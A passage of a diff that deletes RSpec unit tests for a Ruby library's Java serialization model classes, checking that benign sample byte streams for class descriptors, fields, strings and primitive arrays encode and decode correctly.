let(:incomplete_block) { "\x10\x01\x02\x03\x04\x05" }
let(:incomplete_block_io) { StringIO.new(incomplete_block) }
let(:empty_io) { StringIO.new('') }
describe ".new" do
it "Rex::Java::Serialization::Model::BlockData" do
expect(block).to be_a(Rex::Java::Serialization::Model::BlockData)
end
it "initializes length to 0" do
expect(block.length).to eq(0)
end
it "initializes contents with empty string" do
expect(block.contents).to be_empty
end
end
describe "#encode" do
context "when empty block" do
it { expect(block.encode).to eq(empty_block) }
end
context "when filled block" do
it do
block.length = 16
block.contents = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
expect(block.encode).to eq(sample_block)
end
end
end
describe "#decode" do
context "when stream contains empty string" do
it "returns nil" do
expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains empty block" do
it "returns a Rex::Java::Serialization::Model::BlockData" do
expect(block.decode(empty_block_io)).to be_a(Rex::Java::Serialization::Model::BlockData)
end
it "sets length to 0" do
block.decode(empty_block_io)
expect(block.length).to eq(0)
end
it "sets contents to empty string" do
block.decode(empty_block_io)
expect(block.contents).to be_empty
end
end
context "when stream contains incomplete block" do
it "returns nil" do
expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains correct block" do
it "returns a Rex::Java::Serialization::Model::BlockData" do
expect(block.decode(sample_block_io)).to be_a(Rex::Java::Serialization::Model::BlockData)
end
it "sets length to 0" do
block.decode(sample_block_io)
expect(block.length).to eq(16)
end
it "sets contents to sample string" do
block.decode(sample_block_io)
expect(block.contents).to eq("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10")
end
end
end
describe "#to_s" do
it "prints a block with contents" do
block.decode(sample_block_io)
expect(block.to_s).to eq('[ 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10 ]')
end
it "prints an empty string for an empty block" do
block.decode(empty_block_io)
expect(block.to_s).to eq('[ ]')
end
end
end

View File

@ -1,81 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::ClassDesc do
subject(:class_desc) do
described_class.new
end
let(:sample) do
"\x72\x00\x0e\x6a\x61\x76\x61\x2e\x6c\x61\x6e" +
"\x67\x2e\x42\x79\x74\x65\x9c\x4e\x60\x84\xee\x50\xf5\x1c\x02\x00" +
"\x01\x42\x00\x05\x76\x61\x6c\x75\x65\x78\x72\x00\x10\x6a\x61\x76" +
"\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95" +
"\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70"
end
let(:sample_io) { StringIO.new(sample) }
describe ".new" do
it "Rex::Java::Serialization::Model::NewClassDesc" do
expect(class_desc).to be_a(Rex::Java::Serialization::Model::ClassDesc)
end
it "initializes description with nil" do
expect(class_desc.description).to be_nil
end
end
describe "#decode" do
it "returns a Rex::Java::Serialization::Model::ClassDesc" do
expect(class_desc.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::ClassDesc)
end
it "deserializes the description correctly" do
class_desc.decode(sample_io)
expect(class_desc.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
end
end
describe "#encode" do
it "serializes a ClassDesc" do
super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Number')
super_class_desc_new.serial_version = 0x86ac951d0b94e08b
super_class_desc_new.flags = 2
super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new
super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new
super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new
super_class_desc.description = super_class_desc_new
class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Byte')
class_desc_new.serial_version = 0x9c4e6084ee50f51c
class_desc_new.flags = 2
field = Rex::Java::Serialization::Model::Field.new
field.type = 'byte'
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'value')
class_desc_new.fields << field
class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
class_desc_new.super_class = super_class_desc
class_desc.description = class_desc_new
expect(class_desc.encode.unpack("C*")).to eq(sample.unpack("C*"))
end
end
describe "#to_s" do
it "prints a sample ClassDesc" do
class_desc.decode(sample_io)
expect(class_desc.to_s).to be_a(String)
end
end
end

View File

@ -1,108 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::Field do
subject(:field) do
described_class.new
end
let(:sample_primitive) { "I\x00\x06number" }
let(:sample_primitive_io) { StringIO.new(sample_primitive) }
let(:sample_object) { "[\x00\x0atest_arrayt\x00\x0b[LEmployee;" }
let(:sample_object_io) { StringIO.new(sample_object) }
describe ".new" do
it "Rex::Java::Serialization::Model::Field" do
expect(field).to be_a(Rex::Java::Serialization::Model::Field)
end
it "initializes code with empty string" do
expect(field.type).to be_empty
end
it "initializes name with nil" do
expect(field.name).to be_nil
end
it "initializes field_type with nil" do
expect(field.field_type).to be_nil
end
end
describe "#encode" do
context "when empty field" do
it { expect { field.encode }.to raise_error(Rex::Java::Serialization::EncodeError) }
end
context "when primitive field" do
it do
field.type = 'int'
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'number')
expect(field.encode).to eq(sample_primitive)
end
end
context "when object field" do
it do
field.type = 'array'
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'test_array')
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[LEmployee;')
expect(field.encode).to eq(sample_object)
end
end
end
describe "#decode" do
context "when stream contains a primitive field" do
it "returns a Rex::Java::Serialization::Model::Field" do
expect(field.decode(sample_primitive_io)).to be_a(Rex::Java::Serialization::Model::Field)
end
it "deserializes field type" do
field.decode(sample_primitive_io)
expect(field.type).to eq('int')
end
it "deserializes field name as Utf" do
field.decode(sample_primitive_io)
expect(field.name.contents).to eq('number')
end
end
context "when stream contains an object field" do
it "returns a Rex::Java::Serialization::Model::Field" do
expect(field.decode(sample_object_io)).to be_a(Rex::Java::Serialization::Model::Field)
end
it "deserializes field type" do
field.decode(sample_object_io)
expect(field.type).to eq('array')
end
it "deserializes field name" do
field.decode(sample_object_io)
expect(field.name.contents).to eq('test_array')
end
it "deserializes field_type string" do
field.decode(sample_object_io)
expect(field.field_type.contents).to eq('[LEmployee;')
end
end
end
describe "#to_s" do
it "prints an stream containing a primitive field" do
field.decode(sample_primitive_io)
expect(field.to_s).to eq('number (int)')
end
it "prints an stream containing an object field" do
field.decode(sample_object_io)
expect(field.to_s).to eq('test_array ([LEmployee;)')
end
end
end

View File

@ -1,107 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::LongUtf do
subject(:long_utf) do
described_class.new
end
let(:sample_utf) { "\x00\x00\x00\x00\x00\x00\x00\x10java.lang.Number" }
let(:sample_utf_io) { StringIO.new(sample_utf) }
let(:empty_utf) { "\x00\x00\x00\x00\x00\x00\x00\x00" }
let(:empty_utf_io) { StringIO.new(empty_utf) }
let(:incomplete_utf) { "\x00\x00\x00\x00\x00\x00\x00\x10java.lang.Numb" }
let(:incomplete_utf_io) { StringIO.new(incomplete_utf) }
let(:empty_io) { StringIO.new('') }
describe ".new" do
it "Rex::Java::Serialization::Model::LongUtf" do
expect(long_utf).to be_a(Rex::Java::Serialization::Model::LongUtf)
end
it "initializes length to 0" do
expect(long_utf.length).to eq(0)
end
it "initializes contents with empty string" do
expect(long_utf.contents).to be_empty
end
end
describe "#encode" do
context "when empty long_utf" do
it { expect(long_utf.encode).to eq(empty_utf) }
end
context "when filled utf" do
it do
long_utf.length = 16
long_utf.contents = 'java.lang.Number'
expect(long_utf.encode).to eq(sample_utf)
end
end
end
describe "#decode" do
context "when stream contains empty string" do
it "raises Rex::Java::Serialization::DecodeError" do
expect { long_utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains empty long_utf" do
it "returns a Rex::Java::Serialization::Model::LongUtf" do
expect(long_utf.decode(empty_utf_io)).to be_a(Rex::Java::Serialization::Model::LongUtf)
end
it "sets length to 0" do
long_utf.decode(empty_utf_io)
expect(long_utf.length).to eq(0)
end
it "sets contents to empty string" do
long_utf.decode(empty_utf_io)
expect(long_utf.contents).to be_empty
end
end
context "when stream contains incomplete long_utf" do
it "returns nil" do
expect { long_utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains correct long_utf" do
it "returns a Rex::Java::Serialization::Model::LongUtf" do
expect(long_utf.decode(sample_utf_io)).to be_a(Rex::Java::Serialization::Model::LongUtf)
end
it "sets length to 0" do
long_utf.decode(sample_utf_io)
expect(long_utf.length).to eq(16)
end
it "sets contents to sample string" do
long_utf.decode(sample_utf_io)
expect(long_utf.contents).to eq('java.lang.Number')
end
end
describe "#to_s" do
it "prints an stream containing a sample long utf" do
long_utf.decode(sample_utf_io)
expect(long_utf.to_s).to eq('java.lang.Number')
end
it "prints an stream containing an empty long utf" do
long_utf.decode(empty_utf_io)
expect(long_utf.to_s).to eq('')
end
end
end
end

View File

@ -1,469 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::NewArray do
subject(:new_array) do
described_class.new
end
let(:boolean_array) do
"\x72\x00\x02\x5b\x5a\x57\x8f\x20" +
"\x39\x14\xb8\x5d\xe2\x02\x00\x00" +
"\x78\x70\x00\x00\x00\x0a\x01\x00" +
"\x01\x01\x01\x01\x01\x01\x01\x00"
end
let(:boolean_array_io) { StringIO.new(boolean_array) }
let(:byte_array) do
"\x72\x00\x02\x5b\x42\xac\xf3\x17" +
"\xf8\x06\x08\x54\xe0\x02\x00\x00" +
"\x78\x70\x00\x00\x00\x02\xec\x41"
end
let(:byte_array_io) { StringIO.new(byte_array) }
let(:char_array) do
"\x72\x00\x02\x5b\x43\xb0\x26\x66" +
"\xb0\xe2\x5d\x84\xac\x02\x00\x00" +
"\x78\x70\x00\x00\x00\x02\x00\x61" +
"\x00\x62"
end
let(:char_array_io) { StringIO.new(char_array) }
let(:short_array) do
"\x72\x00\x02\x5b\x53\xef\x83\x2e" +
"\x06\xe5\x5d\xb0\xfa\x02\x00\x00" +
"\x78\x70\x00\x00\x00\x02\xff\xec" +
"\x00\x41"
end
let(:short_array_io) { StringIO.new(short_array) }
let(:double_array) do
"\x72\x00\x02\x5b\x44\x3e\xa6\x8c" +
"\x14\xab\x63\x5a\x1e\x02\x00\x00" +
"\x78\x70\x00\x00\x00\x02\x3f\xd0" +
"\x00\x00\x00\x00\x00\x00\x3f\xca" +
"\xe1\x47\xae\x14\x7a\xe1"
end
let(:double_array_io) { StringIO.new(double_array) }
let(:float_array) do
"\x72\x00\x02\x5b\x46\x0b\x9c\x81" +
"\x89\x22\xe0\x0c\x42\x02\x00\x00" +
"\x78\x70\x00\x00\x00\x02\x3f\x80" +
"\x00\x00\x40\x00\x00\x00"
end
let(:float_array_io) { StringIO.new(float_array) }
let(:int_array) do
"\x72\x00\x02\x5b\x49\x4d\xba\x60" +
"\x26\x76\xea\xb2\xa5\x02\x00\x00" +
"\x78\x70\x00\x00\x00\x02\xff\xff" +
"\xff\xec\x00\x00\x00\x41"
end
let(:int_array_io) { StringIO.new(int_array) }
let(:long_array) do
"\x72\x00\x02\x5b\x4a\x78\x20\x04" +
"\xb5\x12\xb1\x75\x93\x02\x00\x00" +
"\x78\x70\x00\x00\x00\x02\xff\xff" +
"\xff\xff\xff\xff\xff\xec\x00\x00" +
"\x00\x00\x00\x00\x00\x41"
end
let(:long_array_io) { StringIO.new(long_array) }
let(:string_array) do
"\x72\x00\x13\x5b\x4c\x6a\x61\x76" +
"\x61\x2e\x6c\x61\x6e\x67\x2e\x53" +
"\x74\x72\x69\x6e\x67\x3b\xad\xd2" +
"\x56\xe7\xe9\x1d\x7b\x47\x02\x00" +
"\x00\x78\x70\x00\x00\x00\x01\x74" +
"\x00\x03\x6d\x73\x66"
end
let(:string_array_io) { StringIO.new(string_array) }
describe ".new" do
it "Rex::Java::Serialization::Model::NewArray" do
expect(new_array).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "initializes array_description with nil" do
expect(new_array.array_description).to be_nil
end
it "initializes type with an empty String" do
expect(new_array.type).to be_empty
end
it "initializes values with an empty Array" do
expect(new_array.values).to be_empty
end
end
describe "#decode" do
context "when boolean Array" do
it "deserializes Array" do
expect(new_array.decode(boolean_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(boolean_array_io)
expect(new_array.type).to eq('boolean')
end
it "deserializes values correctly" do
new_array.decode(boolean_array_io)
expect(new_array.values).to eq([1, 0, 1, 1, 1, 1, 1, 1, 1, 0])
end
end
context "when byte Array" do
it "deserializes Array" do
expect(new_array.decode(byte_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(byte_array_io)
expect(new_array.type).to eq('byte')
end
it "deserializes values correctly" do
new_array.decode(byte_array_io)
expect(new_array.values).to eq([-20, 65])
end
end
context "when char Array" do
it "deserializes Array" do
expect(new_array.decode(char_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(char_array_io)
expect(new_array.type).to eq('char')
end
it "deserializes values correctly" do
new_array.decode(char_array_io)
expect(new_array.values).to eq([97, 98])
end
end
context "when short Array" do
it "deserializes Array" do
expect(new_array.decode(short_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(short_array_io)
expect(new_array.type).to eq('short')
end
it "deserializes values correctly" do
new_array.decode(short_array_io)
expect(new_array.values).to eq([-20, 65])
end
end
context "when double Array" do
it "deserializes Array" do
expect(new_array.decode(double_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(double_array_io)
expect(new_array.type).to eq('double')
end
it "deserializes values correctly" do
new_array.decode(double_array_io)
expect(new_array.values).to eq([0.25, 0.21])
end
end
context "when float Array" do
it "deserializes a float Array" do
expect(new_array.decode(float_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(float_array_io)
expect(new_array.type).to eq('float')
end
it "deserializes values correctly" do
new_array.decode(float_array_io)
expect(new_array.values).to eq([1.0, 2.0])
end
end
context "when int Array" do
it "deserializes Array" do
expect(new_array.decode(int_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(int_array_io)
expect(new_array.type).to eq('int')
end
it "deserializes values correctly" do
new_array.decode(int_array_io)
expect(new_array.values).to eq([-20, 65])
end
end
context "when long Array" do
it "deserializes Array" do
expect(new_array.decode(long_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(long_array_io)
expect(new_array.type).to eq('long')
end
it "deserializes values correctly" do
new_array.decode(long_array_io)
expect(new_array.values).to eq([-20, 65])
end
end
context "when Strings (Objects) array" do
it "deserializes the array" do
expect(new_array.decode(string_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "deserializes type correctly" do
new_array.decode(string_array_io)
expect(new_array.type).to eq('java.lang.String;')
end
it "deserializes number of members correctly" do
new_array.decode(string_array_io)
expect(new_array.values.length).to eq(1)
end
it "deserializes the members correctly" do
new_array.decode(string_array_io)
expect(new_array.values[0].contents).to eq('msf')
end
end
end
describe "#encode" do
it "serializes a boolean Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Z')
new_class_desc.serial_version = 0x578f203914b85de2
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'boolean'
new_array.values = [1, 0, 1, 1, 1, 1, 1, 1, 1, 0]
expect(new_array.encode.unpack("C*")).to eq(boolean_array.unpack("C*"))
end
it "serializes a byte Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[B')
new_class_desc.serial_version = 0xacf317f8060854e0
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'byte'
new_array.values = [-20, 65]
expect(new_array.encode.unpack("C*")).to eq(byte_array.unpack("C*"))
end
it "serializes a char Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[C')
new_class_desc.serial_version = 0xb02666b0e25d84ac
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'char'
new_array.values = [97, 98]
expect(new_array.encode.unpack("C*")).to eq(char_array.unpack("C*"))
end
it "serializes a short Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[S')
new_class_desc.serial_version = 0xef832e06e55db0fa
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'short'
new_array.values = [-20, 65]
expect(new_array.encode.unpack("C*")).to eq(short_array.unpack("C*"))
end
it "serializes a double Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[D')
new_class_desc.serial_version = 0x3ea68c14ab635a1e
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'double'
new_array.values = [0.25, 0.21]
expect(new_array.encode.unpack("C*")).to eq(double_array.unpack("C*"))
end
it "serializes a float Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[F')
new_class_desc.serial_version = 0xb9c818922e00c42
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'float'
new_array.values = [1.0, 2.0]
expect(new_array.encode.unpack("C*")).to eq(float_array.unpack("C*"))
end
it "serializes a int Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[I')
new_class_desc.serial_version = 0x4dba602676eab2a5
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'int'
new_array.values = [-20, 65]
expect(new_array.encode.unpack("C*")).to eq(int_array.unpack("C*"))
end
it "serializes a long Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[J')
new_class_desc.serial_version = 0x782004b512b17593
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'long'
new_array.values = [-20, 65]
expect(new_array.encode.unpack("C*")).to eq(long_array.unpack("C*"))
end
it "serializes a String (Objects) Array" do
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;')
new_class_desc.serial_version = 0xadd256e7e91d7b47
new_class_desc.flags = 2
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
new_array.array_description.description = new_class_desc
new_array.type = 'java.lang.String;'
new_array.values = [ Rex::Java::Serialization::Model::Utf.new(nil, 'msf') ]
expect(new_array.encode.unpack("C*")).to eq(string_array.unpack("C*"))
end
end
describe "#to_s" do
it "prints a boolean array stream" do
new_array.decode(boolean_array_io)
expect(new_array.to_s).to eq('boolean, ["1", "0", "1", "1", "1", "1", "1", "1", "1", "0"]')
end
it "prints a byte array stream" do
new_array.decode(byte_array_io)
expect(new_array.to_s).to eq('byte, ["-20", "65"]')
end
it "prints a char array stream" do
new_array.decode(char_array_io)
expect(new_array.to_s).to eq('char, ["97", "98"]')
end
it "prints a short array stream" do
new_array.decode(short_array_io)
expect(new_array.to_s).to eq('short, ["-20", "65"]')
end
it "prints a double array stream" do
new_array.decode(double_array_io)
expect(new_array.to_s).to eq('double, ["0.25", "0.21"]')
end
it "prints a float array stream" do
new_array.decode(float_array_io)
expect(new_array.to_s).to eq('float, ["1.0", "2.0"]')
end
it "prints a int array stream" do
new_array.decode(int_array_io)
expect(new_array.to_s).to eq('int, ["-20", "65"]')
end
it "prints a long array stream" do
new_array.decode(long_array_io)
expect(new_array.to_s).to eq('long, ["-20", "65"]')
end
it "prints a string array stream" do
new_array.decode(string_array_io)
expect(new_array.to_s).to eq('java.lang.String;, ["msf"]')
end
end
end

View File

@ -1,143 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::NewClassDesc do
subject(:class_desc_new) do
described_class.new
end
let(:sample) do
"\x00\x0e\x6a\x61\x76\x61\x2e\x6c\x61\x6e" +
"\x67\x2e\x42\x79\x74\x65\x9c\x4e\x60\x84\xee\x50\xf5\x1c\x02\x00" +
"\x01\x42\x00\x05\x76\x61\x6c\x75\x65\x78\x72\x00\x10\x6a\x61\x76" +
"\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95" +
"\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70"
end
let(:sample_io) { StringIO.new(sample) }
describe ".new" do
it "Rex::Java::Serialization::Model::NewClassDesc" do
expect(class_desc_new).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
end
it "initializes class_name with nil" do
expect(class_desc_new.class_name).to be_nil
end
it "initializes serial_version with 0" do
expect(class_desc_new.serial_version).to eq(0)
end
it "initializes flags with 0" do
expect(class_desc_new.flags).to eq(0)
end
it "initializes fields with empty Array" do
expect(class_desc_new.fields).to be_empty
end
it "initializes class_annotation with nil" do
expect(class_desc_new.class_annotation).to be_nil
end
it "initializes super_class with nil" do
expect(class_desc_new.super_class).to be_nil
end
end
describe "#decode" do
it "returns a Rex::Java::Serialization::Model::NewClassDesc" do
expect(class_desc_new.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
end
it "deserializes class_name as Utf" do
class_desc_new.decode(sample_io)
expect(class_desc_new.class_name).to be_a(Rex::Java::Serialization::Model::Utf)
end
it "deserializes class_name contents correctly" do
class_desc_new.decode(sample_io)
expect(class_desc_new.class_name.contents).to eq('java.lang.Byte')
end
it "deserializes serial_version correctly" do
class_desc_new.decode(sample_io)
expect(class_desc_new.serial_version).to eq(0x9c4e6084ee50f51c)
end
it "deserializes flags correctly" do
class_desc_new.decode(sample_io)
expect(class_desc_new.flags).to eq(2)
end
it "deserializes fields" do
class_desc_new.decode(sample_io)
expect(class_desc_new.fields.length).to eq(1)
end
it "deserializes fields contents correctly" do
class_desc_new.decode(sample_io)
expect(class_desc_new.fields[0].type).to eq('byte')
end
it "deserializes class annotation correctly" do
class_desc_new.decode(sample_io)
expect(class_desc_new.class_annotation).to be_a(Rex::Java::Serialization::Model::Annotation)
end
it "deserializes class annotation contents" do
class_desc_new.decode(sample_io)
expect(class_desc_new.class_annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::EndBlockData)
end
it "deserializes super_class" do
class_desc_new.decode(sample_io)
expect(class_desc_new.super_class).to be_a(Rex::Java::Serialization::Model::ClassDesc)
end
it "deserializes super class description" do
class_desc_new.decode(sample_io)
expect(class_desc_new.super_class.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
end
end
describe "#encode" do
it "serializes a NewClassDesc" do
super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Number')
super_class_desc_new.serial_version = 0x86ac951d0b94e08b
super_class_desc_new.flags = 2
super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new
super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new
super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new
super_class_desc.description = super_class_desc_new
class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Byte')
class_desc_new.serial_version = 0x9c4e6084ee50f51c
class_desc_new.flags = 2
field = Rex::Java::Serialization::Model::Field.new
field.type = 'byte'
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'value')
class_desc_new.fields << field
class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
class_desc_new.super_class = super_class_desc
expect(class_desc_new.encode.unpack("C*")).to eq(sample.unpack("C*"))
end
end
describe "#to_s" do
it "prints a sample NewClassDesc stream" do
class_desc_new.decode(sample_io)
expect(class_desc_new.to_s).to eq('java.lang.Byte, [ value (byte) ], @super_class: java.lang.Number')
end
end
end

View File

@ -1,83 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::NewEnum do
subject(:new_enum) do
described_class.new
end
let(:sample_enum) do
"\x72\x00\x09\x45\x6e\x75\x6d\x73" +
"\x24\x44\x61\x79\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x12\x00\x00\x78" +
"\x72\x00\x0e\x6a\x61\x76\x61\x2e" +
"\x6c\x61\x6e\x67\x2e\x45\x6e\x75" +
"\x6d\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x12\x00\x00\x78\x70\x74\x00" +
"\x06\x53\x55\x4e\x44\x41\x59"
end
let(:sample_enum_io) { StringIO.new(sample_enum) }
describe ".new" do
it "Rex::Java::Serialization::Model::NewEnum" do
expect(new_enum).to be_a(Rex::Java::Serialization::Model::NewEnum)
end
it "initializes enum_description with nil" do
expect(new_enum.enum_description).to be_nil
end
it "initializes constant_name with nil" do
expect(new_enum.constant_name).to be_nil
end
end
describe "#decode" do
it "deserializes an Enum" do
